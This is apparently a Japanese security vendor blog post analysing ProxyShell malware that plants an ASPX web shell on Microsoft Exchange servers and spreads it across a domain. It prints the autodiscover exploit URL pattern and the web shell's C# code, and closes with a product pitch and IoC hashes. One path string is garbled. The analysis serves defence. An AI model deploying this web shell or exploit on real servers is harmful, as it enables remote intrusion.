2021年10月14日

Exchangeユーザーは要注意!シェルが動いています

マルウェア「Exchange ProxyShell」の解析結果について

最近、脅威研究者は、Microsoft ExchangeのProxyShellに新たな脆弱性を発見しました。この脆弱性により、攻撃者はリモートコードの実行機能を獲得することができます。これらの脆弱性は、技術的な詳細が公表される前にマイクロソフトに開示され、ほとんどのパッチが適用されていましたが、多くのExchangeサーバにはパッチが適用されないまま放置されており、その後侵害が発生しています。

Microsoft Exchangeの悪用は継続的な問題であり、これらの脆弱性を悪用してExchangeサーバ上での持続性を獲得する新たな脅威が数多く見られます。最近、お客様の環境でMicrosoft Exchangeを悪用するように設計されたマルウェアを発見しました。他の既知および未知のマルウェアと同様に、Deep Instinctは、それが実行されて問題が発生する前に防止しました。

しかし、このマルウェアは非常に興味深く、より深い調査が必要なほどでした。以下は、我々の分析結果です。

ProxyShellに潜む脆弱性

調査を開始する前に、まずProxyShellについて説明します。

ProxyShellは、3つの脆弱性で構成されており、これらの脆弱性を組み合わせることで、攻撃者は認証を必要とせずにMicrosoft Exchangeサーバ上で任意のコマンドを実行することが可能になります。ProxyShellは、認証を必要としないアクセスを可能にするため、攻撃者が標的とする環境へのアクセスを容易にしてしまうため、特に危険な攻撃手段です。

1つ目のProxyShellの脆弱性であるCVE-2021-34473は、マイクロソフトのExplicit Loginメカニズムに存在し、この形式のURLのEmailフィールドに「Autodiscover/Autodiscover.json」という文字列を渡すだけで、脅威行為者が任意のバックエンドURLにNT Authority/Systemとしてインターフェイスすることができます:

https://exchange/autodiscover/autodiscover.json?@mycorp.com/?Email=autodiscover/autodiscover.json%3f@mycorp.com

しかし、システムユーザーが電子メールアカウントを持っていないため、このアクションだけでは実際のコマンドを実行することはできません。メールボックス関連の管理活動を支援するために設計された組み込み機能であるExchange PowerShell Remotingを使用するには、電子メールアカウントへのアクセスが必要です。この問題を解決するには、PowerShell の脆弱性 CVE-2021-34523 を利用して、自分自身を管理者にダウングレードします。

次に、攻撃者はサーバー上でコマンドを実行して永続的なアクセス権を獲得し、将来的に追加のマルウェアを展開できるようにします。そのためには、ファイルにバックドアを書き込む必要がありますが、これはCVE-2021-31207の脆弱性を利用することで実現できます。

The Little .NET that Tried: ProxyShellマルウェアの分析

このマルウェアは、顧客のExchangeサーバーにASPXウェブシェルを展開し、将来的に追加のマルウェアを展開できるように設計されていました。問題のマルウェアは.NETのサンプルで、DNSpyやその他の.NET逆アセンブラを使って簡単に解析することができました。

このマルウェアの目的は、Exchangeサーバ上にASPXのWebシェルを落とし、Webからアクセスできるように仮想ディレクトリを作成し、ドメイン内の他のすべてのExchangeサーバからシェルにアクセスできるようにすることです。この実行ファイルは2つの追加PEを使用しており、Base64でエンコードされた文字列としてコードに格納され、メインの実行ファイルからファイルレスで呼び出されます。これらはメモリにロードされるため、マルウェア対策製品が攻撃を検知することが難しくなります。

Embedded PE #1 —“DropHell”

変数 "rawAssembly "に保存されている最初のエンコードされたPEは、シェルをASPXファイルとしてドロップし、仮想ディレクトリを作成する役割を担っている。メインの実行ファイルは、そのメソッドの一つである "DropHell "を以下のコマンドで呼び出す。

image.png

図1:"DropHell "メソッドの呼び出し

変数「array」には、Basea64でエンコードされたC#のウェブシェル、"shAGEu.aspx "が格納されています。これは、格納するASPXファイルの名前と、物理パスと仮想パスで使用するフォルダの名前を表しています。

image.png

図2:変数「folderPath」と「array」について

「DropHell」メソッドは、Base64エンコードされたウェブシェルをデコードし、「C:\ProgramData\ZING\pdILh\shAGEu.aspx」に書き込み(「ZING」と「pdILh」のフォルダが作成されます)、「C:\ProgramData\ZING\pdILh」を指す仮想ディレクトリ「/auth/笔/pdILh」を作成します。 この「C:˶ˆ꒳ˆ˵」というパスは、Huntress氏が行ったProxyShellのサンプル解析などでも確認されています。

ASPXファイルが「ProgramData」ディレクトリの下に存在することは珍しく、そのため攻撃者は、不審な活動を監視する頻度が高いASPディレクトリの外にシェルを落とすことにしたのでしょう。

image.png

図3:仮想ディレクトリの作成

バックドアが作成されると、スクリプトはZINGとそのコンテンツを読み取り専用の隠しシステムアーティファクトとし、ウェブシェルの読み取りと実行以外にユーザーがファイルに対してほとんど何もできないようにするアクセスルールを追加することで、バックドアを保護します。

image.png

図4:作成したファイルを保護するためのセキュリティ·ルールの追加

さらに、このマルウェアは、マイクロソフト社の「icacls」「NT Service\TrustedInstaller」を「C:\ProgramData\ZING\pdILh」とその中にあるすべてのものの所有者として使用し、そのコンテンツへの完全なSYSTEMアクセスを許可しています。これが完了すると、制御はメインの実行ファイルに戻り、すべてが計画通りに進んだかどうか、返された値を確認します。そして、"rawAssembly2 "という変数に格納されているbase64エンコードされた2つ目のPEの "Run "コマンドを呼び出します。

image.png

図5: "Run "メソッドの呼び出し

Embedded PE #2 — シェルの拡散

このPEの目的は、バックドアをドメイン内で見つけられる限り多くのExchangeサーバーに広めることである。

まず、LDAPを使って "Exchange servers "グループを探し、追加のExchangeサーバーを見つけます。

image.png

図 6:Exchange サーバーの検索

この試みで何も得られなかった場合は、Exchange 関連サービスの「sAMAccountName」値の検索を試みます。

image.png

図 7:Exchange 関連サービスのプリンシパル名検索

そして、検出された各サーバー上に、以前に作成された「C:ProgramData\ZING\pdILh」ディレクトリを指す仮想ディレクトリを作成します(すべてのサーバーは、最初に感染したマシン上のまったく同じディレクトリを指しています)。

image.png

図 8: 追加の Exchange サーバ上にバックドアへの仮想パスを作成する

これで攻撃は終了です。

バックドア

落とされたASPXファイルには以下のC#コードが含まれており、単純にXSL変換のウェブシェルを作成しています。

<%@ Page Language="C#" %><%

var GkggV=new System.Xml.XmlDocument();

GkggV.LoadXml(@"<root>1</root>");

var Nlcch=new System.Xml.XmlDocument();

Nlcch.LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request["Redacted"])));

var DzYqa=new System.Xml.Xsl.XslCompiledTransform();

DzYqa.Load(Nlcch,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver());

DzYqa.Transform(GkggV,null,new System.IO.MemoryStream());

まとめ

Exchange サーバ上に Web シェルを持つことは、特に熟練した攻撃者の手にかかると非常に危険です。ProxyShellの脆弱性は、過去数ヶ月の間に数多くのバックドアをインストールするために使用されてきました。これらのドアから入ってきたゲストはどれも歓迎されるものではありませんでしたが、中にはホストに悪い印象を与えるものもありました(詳細はLockFileランサムウェアがその典型例です)。

幸いなことに、Deep Instinctはこのような性質の攻撃を防ぐことに成功しており、お客様の環境に侵入する前に検出して阻止することができます。Deep Instinctは、悪用される展開方法にかかわらず、悪意のあるペイロードを防止します。悪意のあるペイロードは、メモリ内にシェルコードを注入または実行しようとした場合でも、実行前に阻止されます。当社の深層学習フレームワークにより、Deep Instinctは未知の脅威の99%以上を防ぐことができます。また、誤検知を0.1%未満に抑えるという驚異的な精度も実現しています。

パッチの適用は重要ですが、Deep Instinctは未知の脅威を防ぐために存在します。他の人には見えないセキュリティリスクを予測し、脅威が実行される前に20ms以下で防ぐことができます。

当社のマルウェア、ランサムウェア、ゼロデイの防止機能についての詳細をお知りになりたい方は、こちらからお申し込みください。

https://www.deepinstinct.com/ja/request-a-demo

IoC情報

SHA256 Values

742fd14cd1d53e3bd7a38e7f90956b3dc4185c2a31fccd0afc673cb98bbbefe6- the main executable

8f5156a457e287c2c60239d243fa8781fedb69b85b86f15e04b43b96abc53bc4- embedded PE #1 (“DropHell”)

eb17d105dd5132ada75485963e6dbb344b0fe3109a9a583cebc0bf1795352185- embedded PE #2

1f6aa7ddfc249e7a7f4c9fa2dadee249009f4d20676c3c09effe23dbe81c3be3- the ASPX webshell file

ファイル名とパス

shAGEu.aspx

C:\ProgramData\ZING

pdILh

“/auth/笔/pdILh (virtual path)